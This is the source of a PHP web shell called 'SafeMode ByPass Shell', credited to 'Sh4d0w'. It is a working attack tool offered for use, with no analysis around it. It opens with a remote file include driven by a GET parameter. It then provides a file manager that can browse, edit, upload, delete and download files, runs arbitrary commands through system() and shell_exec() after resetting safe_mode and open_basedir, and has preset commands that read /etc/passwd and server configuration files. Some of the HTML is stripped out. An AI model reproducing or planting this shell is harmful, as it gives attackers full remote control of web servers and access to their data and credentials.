dddd

<? include $_GET['Sh4d0w']; ?>
<?php

/*
*****************************************************************************************
* SafeMode ByPass Shell *
*****************************************************************************************
*****************************************************************************************
* Coded By Sh4d0w -- [email protected] *
*****************************************************************************************
* Http;//Snoop-Boy.com *
*****************************************************************************************

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!! Iranian Hackers Are The Best .
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
*/

/*Setting some envirionment variables...*/

/* I added this to ensure the script will run correctly...
Please enter the Script's filename in this variable. */
$SFileName=$PHP_SELF;

/* uncomment the two following variables if you want to use http
authentication. This will password protect your PHPShell */
//$http_auth_user = "phpshell"; /* HTTP Authorisation username, uncomment if you want to use this */
//$http_auth_pass = "phpshell"; /* HTTP Authorisation password, uncomment if you want to use this */
error_reporting(0);
$PHPVer=phpversion();
$isGoodver=(intval($PHPVer[0])>=4);

$urlAdd = "";
$formAdd = "";

function walkArray($array){
while (list($key, $data) = each($array))
if (is_array($data)) { walkArray($data); }
else { global $$key; $$key = $data; global $urlAdd; $urlAdd .= "$key=".urlencode($data)."&";}
}

if (isset($_PUT)) walkArray($_PUT);
if (isset($_GET)) walkArray($_GET);
if (isset($_POST)) walkArray($_POST);

$pos = strpos($urlAdd, "s=r");
if (strval($pos) != "") {
$urlAdd= substr($urlAdd, 0, $pos);
}

$urlAdd .= "&s=r&";

if (empty($Pmax))
$Pmax = 125; /* Identifies the max amount of Directories and files listed on one page */
if (empty($Pidx))
$Pidx = 0;

$dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
$file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));

$LOCAL_IMAGE_DIR = "img";
$REMOTE_IMAGE_URL = "img";
$img = array(
"Edit" => "edit.gif",
"Download" => "download.gif",
"Upload" => "upload.gif",
"Delete" => "delete.gif",
"View" => "view.gif",
"Rename" => "rename.gif",
"Move" => "move.gif",
"Copy" => "copy.gif",
"Execute" => "exec.gif"
);

while (list($id, $im)=each($img))
if (file_exists("$LOCAL_IMAGE_DIR/$im"))
$img[$id] = "";
else
$img[$id] = "[$id]";

/* HTTP AUTHENTICATION */

if ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset($PHP_AUTH_USER) || $PHP_AUTH_USER != $http_auth_user || $PHP_AUTH_PW != $http_auth_pass) || (($logoff==1) && $noauth=="yes") ) {
setcookie("noauth","");
Header( "WWW-authenticate: Basic realm=\"$scriptTitle $scriptver\"");
Header( "HTTP/1.0 401 Unauthorized");
echo "Your username or password is incorrect";
exit ;

}

function buildUrl($display, $url) {
global $urlAdd;
$url = $SFileName . "?$urlAdd$url";
return "$display";
}

function sp($mp) {
for ( $i = 0; $i < $mp; $i++ )
$ret .= " ";
return $ret;
}

function spacetonbsp($instr) { return str_replace(" ", " ", $instr); }

function Mydeldir($Fdir) {
if (is_dir($Fdir)) {
$Fh=@opendir($Fdir);
while ($Fbuf = readdir($Fh))
if (($Fbuf != ".") && ($Fbuf != ".."))
Mydeldir("$Fdir/$Fbuf");
@closedir($Fh);
return rmdir($Fdir);
} else {
return unlink($Fdir);
}
}

function arrval ($array) {
list($key, $data) = $array;
return $data;
}

function formatsize($insize) {
$size = $insize;
$add = "B";
if ($size > 1024) {
$size = intval(intval($size) / 1.024)/1000;
$add = "KB";
}
if ($size > 1024) {
$size = intval(intval($size) / 1.024)/1000;
$add = "MB";
}
if ($size > 1024) {
$size = intval(intval($size) / 1.024)/1000;
$add = "GB";
}
if ($size > 1024) {
$size = intval(intval($size) / 1.024)/1000;
$add = "TB";
}
return "$size $add";
}

if ($cmd != "downl") {
?>

, <?php echo $scriptver ?>, <?php echo $scriptdate ?> -->

<?php echo $SFileName ?>

<?php echo $scriptident ?> <?php echo $scriptver ?> <?php echo $scriptdate ?>

<?php
}

if ( $cmd=="dir" ) {
$h=@opendir($dir);
if ($h == false) {
echo "".sp(3)."\n\n\n\n
???? ??? ??????? ??? ??? ??????.".sp(3)."\n
!
".sp(3)."\n
???? ??? ??????? ??? ??? ??????
\n\n\n\n";
}
if (function_exists('realpath')) {
$partdir = realpath($dir);
}
else {
$partdir = $dir;
}
if (strlen($partdir) >= 100) {
$partdir = substr($partdir, -100);
$pos = strpos($partdir, "/");
if (strval($pos) != "") {
$partdir = "<-- ...".substr($partdir, $pos);
}
$partdir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $partdir )));
$dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
$file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
}
?>
" method="POST">

 Safe0ver-Server File Browser... 

 Directory: 

">
 Go 

-->

 Name  

 Action  

 Size 

 Permisoin 

 Date 

<?php

/* $Pmax ) {
$from = $Pidx * $Pmax;
$to = ($Pidx + 1) * $Pmax-1;
if ($to - count($filelist) - 1 + ($Pmax / 2) > 0 )
$to = count($filelist) - 1;
if ($to > count($filelist)-1)
$to = count($filelist)-1;
$Dcontents = array();
For ($Fi = $from; $Fi <= $to; $Fi++) {
$Dcontents[] = $filelist[$Fi];
}

}
else {
$Dcontents = $filelist;
}

$tdcolors = array("lighttd", "darktd");

while (list ($key, $file) = each ($Dcontents)) {
if (!$tdcolor=arrval(each($tdcolors))) {
reset($tdcolors);
$tdcolor = arrval(each($tdcolors)); }

if (is_dir("$dir/$file")) { /* */
/* */
echo "".sp(3).buildUrl( "[$file]", "cmd=dir&dir=$dir/$file") .sp(9)."\n";
/* */
echo "".sp(2)."\n";
/* */
if ( ($file != ".") && ($file != "..") )
echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n";
/* */
if ( ($file != ".") && ($file != "..") )
echo sp(3).buildUrl( $img["Delete"], "cmd=deldir&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n";
/* */
echo "  \n";
/* */
echo " \n";
/* */
echo "  \n";
echo "D";
if ( @is_readable("$dir/$file") ) {
echo "R";
}
if (function_exists('is_writeable')) {
if ( @is_writeable("$dir/$file") ) {
echo "W";
}
}
else {
echo "(W)";
}
if ( @is_executable("$dir/$file") ) {
echo "X";
}
echo "  \n";
/* */
echo "\n";
echo "  ".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."  ";
echo "";
echo "\n";

}
else { /* */
/* */
if ( @is_readable("$dir/$file") )
echo "".sp(3).buildUrl( $file, "cmd=file&file=$dir/$file").sp(9)."\n";
else
echo "".sp(3).$file.sp(9)."\n";
/* */
echo "  \n";
/* */
echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n";
/* */
if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) )
echo buildUrl( $img["Edit"], "cmd=edit&file=$dir/$file").sp(3)."\n";
/* */
echo buildUrl( $img["Copy"], "cmd=copy&file=$dir/$file")."\n";
/* */
if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) )
echo sp(3). buildUrl( $img["Move"], "cmd=move&file=$dir/$file")."\n";
/* */
echo sp(3). buildUrl( $img["Delete"], "cmd=delfile&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n";
/* */
echo sp(3). buildUrl( $img["Download"], "cmd=downl&file=$dir/$file")."\n";
/* */
if ( @is_executable("$dir/$file") )
echo sp(3).buildUrl( $img["Execute"], "cmd=execute&file=$dir/$file")."\n";
/* */
echo sp(2)."\n";
/* */
echo "\n";
$size = @filesize("$dir/$file");
If ($size != false) {
$filesizes += $size;
echo "  ".formatsize($size)."";
}
else
echo "  0 B";
echo "  \n";

/* */
echo "  \n";

if ( @is_readable("$dir/$file") )
echo "R";
if ( @is_writeable("$dir/$file") )
echo "W";
if ( @is_executable("$dir/$file") )
echo "X";
if (function_exists('is_uploaded_file')){
if ( @is_uploaded_file("$dir/$file") )
echo "U";
}
else {
echo "(U)";
}
echo "  \n";
/* */
echo "\n";
echo "  ".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."  ";
echo "";
echo "\n";
}
}

echo "\n\n";
echo "  ".@count ($dirn)." Folders, ".@count ($filen)." Files  \n";
echo "\n";
echo "  Aggregate Size: ".formatsize($filesizes)."  \n";

function printpagelink($a, $b, $link = ""){
if ($link != "")
echo "| $a - $b |";
else
echo "| $a - $b |";
}

if ( count($filelist)-1 > $Pmax ) {
echo "Page:";
$Fi = 0;
while ( ( (($Fi+1)*$Pmax) + ($Pmax/2) ) < count($filelist)-1 ) {
$from = $Fi*$Pmax;
while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++;
$to = ($Fi + 1) * $Pmax - 1;
if ($Fi == $Pidx)
$link="";
else
$link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi";
printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link);
echo "   ";
$Fi++;
}
$from = $Fi*$Pmax;
while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++;
$to = count($filelist)-1;
if ($Fi == $Pidx)
$link="";
else
$link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi";
printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link);

echo "";
}

echo "\n";

if ($isGoodver) {
echo " PHP Version:    $PHPVer \n";
}
else {
echo " Server's PHP Version:    $PHPVer (Some functions might be unavailable...) \n";
}
/* */
echo " Make Up:   \n";
echo " ".buildUrl( "| New File |", "cmd=newfile&lastcmd=dir&lastdir=$dir")."\n".sp(3).
buildUrl( "| New Folder |", "cmd=newdir&lastcmd=dir&lastdir=$dir")."\n".sp(3).
buildUrl( "| Upload File |", "cmd=upload&dir=$dir&lastcmd=dir&lastdir=$dir"). "\n\n";
echo " Script Location:    $PATH_TRANSLATED\n";
echo " IP Address:    $REMOTE_ADDR \n";
echo " Path Folders[PWD]:   $partdir \n";
echo " Definitions:  \n";
echo "";
echo "D:  Delete.\n";
echo "R:  Read.\n";
echo "W:  Write.\n";

echo "U:  HTTP Uploaded File.\n";
echo "";
echo "";
echo "";
@closedir($h);
}
elseif ( $cmd=="execute" ) {/**/
echo system("$file");
}
elseif ( $cmd=="deldir" ) { /* */
echo "" ;
if ($auth == "yes") {
if (Mydeldir($file)==false) {
echo "Could not remove \"$file\"Permission denied, or directory not empty...";
}
else {
echo "Successfully removed \"$file\"";
}
echo "";
}
else {
echo "Are you sure you want to delete \"$file\" and all it's subdirectories ?

";
}
echo "";
}
elseif ( $cmd=="delfile" ) { /* */ echo "" ;
if ($auth == "yes") {
if (@unlink($file)==false) {
echo "Could not remove \"$file\"";
}
else {
echo "Successfully removed \"$file\"";
}
echo "";
}
else {
echo "Are you sure you want to delete \"$file\" ?

";
}
echo "";
}
elseif ( $cmd=="newfile" ) { /* */
echo "";
$i = 1;
while (file_exists("$lastdir/newfile$i.txt"))
$i++;
$file = fopen("$lastdir/newfile$i.txt", "w+");
if ($file == false)
echo "Could not create the new file...";
else
echo "Successfully created: \"$lastdir/newfile$i.txt\"";
echo "

";
}
elseif ( $cmd=="newdir" ) { /* */
echo "" ;
$i = 1;
while (is_dir("$lastdir/newdir$i"))
$i++;
$file = mkdir("$lastdir/newdir$i", 0777);
if ($file == false)
echo "Could not create the new directory...";
else
echo "Successfully created: \"$lastdir/newdir$i\"";
echo "

";
}
elseif ( $cmd=="edit" ) { /* */
$contents = "";
$fc = @file( $file );
while ( @list( $ln, $line ) = each( $fc ) ) {
$contents .= htmlentities( $line ) ;
}
echo "";
echo "M\n";
echo "\n";
echo "EDIT FILE: $file\n";
echo "$contents\n";
echo "\n";
echo "";
echo "";
echo "";
}
elseif ( $cmd=="saveedit" ) { /* */
$fo = fopen($file, "w");
$wrret = fwrite($fo, stripslashes($contents));
$clret = fclose($fo);
}
elseif ( $cmd=="downl" ) { /* */
$downloadfile = urldecode($file);
if (function_exists("basename"))
$downloadto = basename ($downloadfile);
else
$downloadto = "download.ext";
if (!file_exists("$downloadfile"))
echo "The file does not exist";
else {
$size = @filesize("$downloadfile");
if ($size != false) {
$add="; size=$size";
}
else {
$add="";
}
header("Content-Type: application/download");
header("Content-Disposition: attachment; filename=$downloadto$add");
$fp=fopen("$downloadfile" ,"rb");
fpassthru($fp);
flush();
}
}
elseif ( $cmd=="upload" ) { /* */
?>

File Uploader
Upload.
" method="post">

">
">
">
1 File:

" method="POST">
">
">

<?php
}
elseif ( $cmd=="uploadproc" ) { /* */
echo "";
if (file_exists($userfile))
$res = copy($userfile, "$dir/$userfile_name");
echo "Uploaded \"$userfile_name\" to \"$userfile\"; \n";
if ($res) {
echo " \"$userfile\" to \"$dir/$userfile_name\".\n";
echo "Name : \"$userfile_name\".\nName: \"$userfile\".\n";
echo ": ".formatsize($userfile_size).".\nFiletype: $userfile_type.\n";
}
else {
echo "Update...";
}
echo "" ;
echo "";
}
elseif ( $cmd=="file" ) { /* */
echo "";
$fc = @file( $file ); while ( @list( $ln, $line ) = each( $fc ) ) {
echo spacetonbsp(@htmlentities($line))."\n";
}
echo "";
}
elseif ( $cmd=="ren" ) { /* */
if (function_exists('is_dir')) {
if (is_dir("$oldfile")) {
$objname = "Directory";
$objident = "Directory";
}
else {
$objname = "Filename";
$objident = "file";
}
}
echo " Rename a file: \n";
If (empty($newfile) != true) {
echo "";
$return = @rename($oldfile, "$olddir$newfile");
if ($return) {
echo "$objident renamed successfully:Old $objname: \"$oldfile\".New $objname: \"$olddir$newfile\"";
}
else {
if ( @file_exists("$olddir$newfile") ) {
echo "Error: The $objident does already exist...\"$olddir$newfile\"Hit your browser's back to try again...";
}
else {
echo "Error: Can't copy the file, the file could be in use or you don't have permission to rename it.";
}
}
echo "" ;
}
else {
$dpos = strrpos($oldfile, "/");
if (strval($dpos)!="") {
$olddir = substr($oldfile, 0, $dpos+1);
}
else {
$olddir = "$lastdir/";
}
$fpos = strrpos($oldfile, "/");
if (strval($fpos)!="") {
$inputfile = substr($oldfile, $fpos+1);
}
else {
$inputfile = "";
}
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "Rename \"$oldfile\" to:\n";
echo "";
echo "";
echo "";
}
}
else if ( $cmd == "con") {

?>

 

<?php
}
else { /* */
$isMainMenu = true;
?>

The Sh4d0w Sheller - E-Mail: [email protected]

<?php echo buildUrl( sp(2)."SafeMode ByPass", "cmd=dir&dir=.").sp(2); ?>

SafeMode ByPass

" name="dizin">

Server Information
Cat /etc/passwd
cat /var/cpanel/accounting.log
Cat /etc/syslog.conf
Cat /etc/hosts
Cat /etc/named.conf
Cat /etc/httpd/conf/httpd.conf
Open Port's

-=-=-=-=-= SafeMode ByPass Shell, Coded By Sh4d0w - www.Snoop-Boys.com =-=-=-=-=-
<?
$evilc0der=$_POST['dizin'];
if($_POST['dizin'])
{
ini_restore("safe_mode");
ini_restore("open_basedir");
$safemodgec = shell_exec($evilc0der);
echo "$safemodgec";
}
?>

<?php
}

if ($cmd != "downl") {
if ( $isMainMenu != true) {
?>


  <?php echo buildUrl("[ Main Menu ] ", "cmd=&dir="); ?>  
    
  <?php echo buildUrl("[ R00T ] ", "cmd=dir&dir=."); ?>   

<?php
}
?>

 <?php echo $scriptident ?> <?php echo $scriptver ?> <?php echo $scriptdate ?> 

<?php
}

?>